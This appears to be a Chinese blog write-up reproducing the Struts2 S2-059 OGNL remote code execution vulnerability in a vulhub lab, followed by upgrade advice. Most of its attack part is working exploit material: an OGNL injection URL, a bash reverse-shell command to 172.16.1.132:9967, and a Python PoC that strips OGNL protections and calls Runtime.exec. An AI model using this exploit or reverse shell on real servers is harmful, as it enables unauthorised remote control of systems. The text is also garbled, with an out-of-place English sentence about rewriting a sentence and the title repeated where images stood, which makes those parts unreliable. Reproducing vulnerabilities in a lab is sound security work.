Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

0x00簡介

struts2 是 apache 軟件組織推出的一個相當強大的 Java web 開源框架,本質上相當于一個 servlet。struts2 基于 mvc 架構,框架結構清晰。通常作為控制器(controller)來建立模型與視圖的數據交互,用于創建企業級 java web 應用程序,它利用并延伸了java servlet api,鼓勵開發者采用mvc架構。struts2以webwork優秀的設計思想為核心,吸收了struts框架的部分優點,提供了一個更加整潔的mvc設計模式實現的web應用程序框架。

0x01漏洞概述

攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。

0x02影響范圍

Struts 2.0.0 – Struts 2.5.20

0x03環境搭建

1.本次漏洞環境使用vulhub快速搭建,vulhub下載地址如下:

https://github.com/vulhub/vulhub

cd vulhub-master/struts2/s2-059

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

2.使用docker-compose快速構建靶場環境

docker-compose up -d

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

3.啟動完成后在瀏覽器訪問http://ip:8080/?id=1 就可以看到測試界面

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

0x04漏洞復現

1.在瀏覽器訪問http://ip:8080/?id=%25{88*88},可以發現執行的88*88成功被解析了,會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析。

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

2.使用poc來反彈shell,反彈shell的payload需要使用base64編碼

bash -i >& /dev/tcp/172.16.1.132/9967 0>&1

base64編碼網址:

The original sentence is already a complete sentence that is providing a link. if I were to rewrite it, it could be something like: Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

@@######@@

3.修改poc中的payload為自己的payload,然后使用python運行,可以看到反彈了shell

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

Struts2 S2-059 遠程代碼執行漏洞復現是怎么樣的

0x05修復建議

1.升級到Struts 2.5.22或更高版本

2.?開啟ONGL表達式注入保護措施。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

import requests  url = "http://127.0.0.1:8080"  data1 = {  "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"  }  data2 = {  "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64編碼'))}"  }  res1 = requests.post(url, data=data1)  res2 = requests.post(url, data=data2)

? 版權聲明
THE END
喜歡就支持一下吧
點贊12 分享